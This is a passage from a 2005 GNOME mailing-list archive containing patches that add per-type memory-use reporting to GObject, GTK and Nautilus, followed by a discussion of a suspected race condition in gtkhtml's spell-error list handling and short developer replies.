total_size = 0; + n_allocated = 0; + for (l = node->instances; l != NULL; l = l->next) + { + GTypeInstance *instance = l->data; + + for (i = 0; i < node->n_supers; i++) { + GType instance_type; + TypeNode *instance_node; + + instance_type = node->supers[i]; + instance_node = lookup_type_node_I (instance_type); + + if (instance_node != NULL && + instance_node->is_instantiatable && + instance_node->data != NULL && + instance_node->data->instance.mem_use != NULL) + total_size += instance_node->data->instance.mem_use (instance); + } + + n_allocated ++; + } + total_size += n_allocated * total_instance_size; + + memuse->n_allocated = n_allocated; + memuse->total_size = total_size; + + *list = g_list_append (*list, memuse); +} + +static void +report_mem_use (int i) +{ + GList *list, *l; + NodeMemUse *memuse; + + G_READ_LOCK (&type_rw_lock); + list = NULL; + g_hash_table_foreach (static_type_nodes_ht, report_mem_use_for_node, &list); + + list = g_list_sort (list, compare_memuse); + + for (l = list; l != NULL; l = l->next) + { + memuse = l->data; + + g_print ("%s: %d allocated at %lu base size bytes, %lu kb total size\n", + memuse->name, + memuse->n_allocated, + (gulong) memuse->instance_size, + (gulong) (memuse->total_size / 1024)); + + g_free (memuse); + } + g_list_free (list); + + G_READ_UNLOCK (&type_rw_lock); + +} + +#include + +static void +install_mem_use_signal_handler (void) +{ + struct sigaction action; + + action.sa_handler = report_mem_use; + sigemptyset (&action.sa_mask); + action.sa_flags = 0; + + sigaction(SIGUSR2, &action, NULL); } Index: gobject/gtype.h =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.h,v retrieving revision 1.60 diff -u -p -r1.60 gtype.h --- gobject/gtype.h 24 Oct 2004 01:22:29 -0000 1.60 +++ gobject/gtype.h 24 Feb 2005 17:11:40 -0000 @@ -221,6 +221,7 @@ typedef gboolean (*GTypeClassCacheFunc) GTypeClass *g_class); typedef void (*GTypeInterfaceCheckFunc) (gpointer check_data, gpointer g_iface); +typedef gsize (*GMemUseFunc) (GTypeInstance *instance); typedef enum /*< skip >*/ { G_TYPE_FLAG_CLASSED = (1 << 0), @@ -310,6 +311,8 @@ void g_type_class_add_private gsize private_size); gpointer g_type_instance_get_private (GTypeInstance *instance, GType private_type); +void g_type_register_memuse_function (GType type, + GMemUseFunc memuse); /* --- GType boilerplate --- */ --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gtk-memuse.patch Content-Type: text/x-patch; name=gtk-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gdk-pixbuf/gdk-pixbuf.c =================================================================== RCS file: /cvs/gnome/gtk+/gdk-pixbuf/gdk-pixbuf.c,v retrieving revision 1.64 diff -u -p -r1.64 gdk-pixbuf.c --- gdk-pixbuf/gdk-pixbuf.c 5 Nov 2004 01:43:31 -0000 1.64 +++ gdk-pixbuf/gdk-pixbuf.c 24 Feb 2005 17:11:53 -0000 @@ -59,6 +59,12 @@ enum static gpointer parent_class; +static gsize +pixbuf_memuse (GdkPixbuf *pixbuf) +{ + return pixbuf->rowstride * pixbuf->height; +} + GType gdk_pixbuf_get_type (void) { @@ -80,6 +86,8 @@ gdk_pixbuf_get_type (void) object_type = g_type_register_static (G_TYPE_OBJECT, "GdkPixbuf", &object_info, 0); + g_type_register_memuse_function (object_type, + (GMemUseFunc) pixbuf_memuse); } return object_type; --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=nautilus-memuse.patch Content-Type: text/x-patch; name=nautilus-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: libnautilus-private/nautilus-file.c =================================================================== RCS file: /cvs/gnome/nautilus/libnautilus-private/nautilus-file.c,v retrieving revision 1.362 diff -u -p -r1.362 nautilus-file.c --- libnautilus-private/nautilus-file.c 22 Feb 2005 10:41:46 -0000 1.362 +++ libnautilus-private/nautilus-file.c 24 Feb 2005 17:20:23 -0000 @@ -132,6 +132,39 @@ static gboolean update_info_and_name static char * nautilus_file_get_display_name_nocopy (NautilusFile *file); static char * nautilus_file_get_display_name_collation_key (NautilusFile *file); +static gsize +file_memuse (NautilusFile *file) +{ + gsize size; + NautilusFileDetails *details = file->details; + GList *l; + + if (details == NULL) + return 0; + + size = 0; + + size += eel_strlen (details->relative_uri) + 1; + size += eel_strlen (details->cached_display_name) + 1; + size += eel_strlen (details->display_name_collation_key) + 1; + if (details->info) + size += sizeof(GnomeVFSFileInfo); + + for (l = details->mime_list; l != NULL; l = l->next) { + size += sizeof(GList); + size += eel_strlen (l->data) + 1; + } + + size += eel_strlen (details->top_left_text); + size += eel_strlen (details->display_name); + size += eel_strlen (details->custom_icon); + size += eel_strlen (details->activation_uri); + size += eel_strlen (details->guessed_mime_type); + + return size; +} + + GType nautilus_file_get_type (void) { @@ -162,6 +195,8 @@ nautilus_file_get_type (void) g_type_add_interface_static (type, NAUTILUS_TYPE_FILE_INFO, &file_info_iface_info); + g_type_register_memuse_function (type, + (GMemUseFunc) file_memuse); } return type; --=-YY0425KxenlChQOSlMqp Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ desktop-devel-list mailing list desktop-devel-list@gnome.org http://mail.gnome.org/mailman/listinfo/desktop-devel-list --=-YY0425KxenlChQOSlMqp-- --=-TvoLGBQoiX0v0izqaGxa-- From spamfrommailing@freax.org Thu Feb 24 14:04:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8D49A1242FC; Thu, 24 Feb 2005 14:04:29 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 42DE9124053 for ; Thu, 24 Feb 2005 14:04:17 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B716B1394A83; Thu, 24 Feb 2005 20:04:11 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11924-01; Thu, 24 Feb 2005 20:04:03 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id A5BB213944C5; Thu, 24 Feb 2005 20:04:02 +0100 (CET) Subject: Re: [Evolution-hackers] Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: gnome-hackers@gnome.org In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Thu, 24 Feb 2005 20:04:03 +0100 Message-Id: <1109271843.10747.7.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS More updates in the scripts and the document has, on request of Rodrigo Moya and more or less also Jeff Waugh, been copied to http://live.gnome.org/BuildEvolutionFromSource I hope it's a more convenient location. And I hope Jeff Waugh is going to do something about that ugly stylesheet thats being used on live.gnome.org :-)! -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From spamfrommailing@freax.org Thu Feb 24 16:18:53 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0484C1246C2; Thu, 24 Feb 2005 16:18:53 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 51B12124647; Thu, 24 Feb 2005 16:18:41 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 1C8361394A87; Thu, 24 Feb 2005 22:18:37 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16250-01; Thu, 24 Feb 2005 22:18:27 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EB12413944C5; Thu, 24 Feb 2005 22:18:25 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: Evolution Patches Content-Type: multipart/mixed; boundary="=-4ESX5lEUfPz1bOAIAWI/" Date: Thu, 24 Feb 2005 22:18:24 +0100 Message-Id: <1109279904.31955.26.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=0.7 required=5.0 tests=PATCH_UNIFIED_DIFF,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Thread locking in gtkhtml!? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4ESX5lEUfPz1bOAIAWI/ Content-Type: multipart/alternative; boundary="=-YNo3KMT3lrdb8OuGOrAS" --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi there, While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml. I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects. The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)? However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list. Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988 So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine. So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list. This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks. Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list. A possible reason why the previous method had problems might be because of this: static GList* remove_one (GList *list, GList *link) { (a) spell_error_destroy ((SpellError *) link->data); -- race conditions can happen here -- (b) return g_list_remove_link (list, link); } As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU. This might also fix it. But then it's still using a hackish way for removing an item from the GList. static GList* remove_one (GList *list, GList *link) { GList *retval = g_list_remove_link (list, link); spell_error_destroy ((SpellError *) link->data); return retval; } -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.

Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.

A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-YNo3KMT3lrdb8OuGOrAS-- --=-4ESX5lEUfPz1bOAIAWI/ Content-Disposition: attachment; filename=htmltext.c.pvanhoof.diff Content-Type: text/x-patch; name=htmltext.c.pvanhoof.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? test-suite Index: htmltext.c =================================================================== RCS file: /cvs/gnome/gtkhtml/src/htmltext.c,v retrieving revision 1.274 diff -u -r1.274 htmltext.c --- htmltext.c 3 Feb 2005 17:18:43 -0000 1.274 +++ htmltext.c 24 Feb 2005 20:49:24 -0000 @@ -2097,21 +2097,15 @@ } static GList * -remove_one (GList *list, GList *link) -{ - spell_error_destroy ((SpellError *) link->data); - return g_list_remove_link (list, link); -} - -static GList * remove_spell_errors (GList *spell_errors, guint offset, guint len) { SpellError *se; - GList *cur, *cnext; + GList *cur=NULL, *toremove=NULL; + + cur = g_list_copy (spell_errors); - cur = spell_errors; while (cur) { - cnext = cur->next; + se = (SpellError *) cur->data; if (se->off < offset) { if (se->off + se->len > offset) { @@ -2120,20 +2114,34 @@ else se->len -= len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } else if (se->off < offset + len) { - if (se->off + se->len <= offset + len) - spell_errors = remove_one (spell_errors, cur); - else { + if (se->off + se->len <= offset + len) { + toremove = g_list_append (toremove, se); + } else { se->len -= offset + len - se->off; se->off = offset + len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } - cur = cnext; + + cur = g_list_next (cur); } + + g_list_free (cur); + + while (toremove) + { + se = (SpellError *) toremove->data; + spell_errors = g_list_remove_all (spell_errors, se); + spell_error_destroy ((SpellError *) se); + toremove = g_list_next (toremove); + } + + g_list_free (toremove); + return spell_errors; } --=-4ESX5lEUfPz1bOAIAWI/-- From notzed@ximian.com Thu Feb 24 21:59:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9B7FA124F8D; Thu, 24 Feb 2005 21:59:36 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id AE9B112482C for ; Thu, 24 Feb 2005 21:59:24 -0500 (EST) Received: (qmail 940 invoked from network); 25 Feb 2005 02:59:22 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 02:59:22 -0000 Subject: Re: [Evolution-hackers] Open mail from commandline From: Not Zed To: linux@software.dk Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: multipart/alternative; boundary="=-yIYabdLsl/qO8ny4fCh9" Date: Fri, 25 Feb 2005 10:57:36 +0800 Message-Id: <1109300256.4852.38.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-20.5 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/plain Content-Transfer-Encoding: 7bit Yes, but it is a hack, and therefore not a long-term supported interface. For the local inbox, you do something like evolution "email://local@local/Inbox;uid=1" There's no way to find the uid though. For oher mail accounts you use the account id from the accounts list. There's no supported way to find this eiher. e.g. evolution "email://abcdefxwy@host.foo/Inbox;uid=12" On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Yes, but it is a hack, and therefore not a long-term supported interface.

For the local inbox, you do something like

evolution "email://local@local/Inbox;uid=1"

There's no way to find the uid though.

For oher mail accounts you use the account id from the accounts list.  There's no supported way to find this eiher.

e.g.
evolution "email://abcdefxwy@host.foo/Inbox;uid=12"


On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: 
Hi,

Is it possible to open up a specific mail in the Inbox from the command
line ???

Cheers, Soren


_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-yIYabdLsl/qO8ny4fCh9-- From notzed@ximian.com Thu Feb 24 22:24:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B9AF2124884; Thu, 24 Feb 2005 22:24:55 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 78A31124739 for ; Thu, 24 Feb 2005 22:24:43 -0500 (EST) Received: (qmail 966 invoked from network); 25 Feb 2005 03:24:41 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 03:24:41 -0000 Subject: Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109279904.31955.26.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-05LGTb+RjLv+ilCuf4ZF" Date: Fri, 25 Feb 2005 11:22:54 +0800 Message-Id: <1109301774.4852.56.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.5 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Philip, On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote: > > Hi there, > > While trying to figure out why at some race condition the Evolution > composer was crashing (well, actually it was hanging in a loop), I > decided to go fishing in the code of gtkhtml. > > I've found that there's a doubly-linked list being passed to some > functions (but you can assume it's a global variable since it appears > to be always the same pointer being passed): spell_errors. It contains > SpellError objects. > > The original author of remove_spell_errors used a clever hack for > removing what I assume where "old" spelling errors. So spellings > errors that now have been corrected (Am I right)? > > However. That clever hack might have worked if there wasn't any > threading involved. The hack removed an element from the list while > already keeping a pointer to the next item in the list. So it's > removing the current list-element, and by prefetching keeping a useful > pointer to the next element. The next loop would work on the "next" > pointer. While it has removed the current item from the global > spell_errors list. There shouldn't be any threading involved at all with these functions. This code should all run exclusively in the main thread. That doesn't mean there isn't race-like problems in the code though. > Sounds like always correct. However. I've experienced moments when > Evolution got into an endless loop at the remove_spell_errors routine: > http://bugzilla.ximian.com/show_bug.cgi?id=72988 > > So I'm assuming that there's other functions who are manipulating the > spell_errors list. And whats worse is that they are probably doing so > in a different thread. Which in turn leads to race conditions in one > of both parallel running processes. I don't know which thread or > whatever. It's just a thought of mine. > > So I decided to redo this remove_spell_errors function in a less > clever but also less hackish way. Easily by keeping a new > doubly-linked list which I called toremove and creating a copy of the > global list spell_errors and utilising that copy during the first > loop, rather than working on a pointer to the global list. > > This E-mail and it's old spelling errors -- hehe -- are the first test > of this function. So far it hasn't crashed on me once. Which is, for > me at least, a whole new Evolution experience since a few weeks. > > Notice: If it's known which threads are working on this spell_errors > list, some mutex-locking would be necessary here. You can't just > remove an item from a list while another thread is continuing relying > on it's contents. and GList hacks aren't to way to circumvent it. Why > not just lock it and unlock when it's done? The way it's after this > patch, shouldn't have any problems even without locking mechanisms. > Since it's destroying the SpellError after removing it from that > global spell_errors list. Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack. These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock. Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them. > A possible reason why the previous method had problems might be > because of this: > > static GList* > remove_one (GList *list, GList *link) > { > (a) spell_error_destroy ((SpellError *) link->data); > -- race conditions can happen here -- > (b) return g_list_remove_link (list, link); > } > > As you can see it's first destroying and they removing the link from > the GList. It's possible my kernel is going to interrupt my process > between (a) and (b) and that the other process is going to try playing > with the pointer link->data during the time it was given to play on my > CPU. Yeah but it can't be a thread issue :) (or it better not be, if it is, there are bigger problems than this happening). > > This might also fix it. But then it's still using a hackish way for > removing an item from the GList. > > static GList* > remove_one (GList *list, GList *link) > { > GList *retval = g_list_remove_link (list, link); > spell_error_destroy ((SpellError *) link->data); > return retval; > } I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more. remove_one() should also free the link I think, since it looks like it is just leaked currently. BTW none of these fixes would be any help if it was threaded - it would definitely need a lock. The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers). Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though. --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi Philip,

On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote:

Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.
Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).

This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.

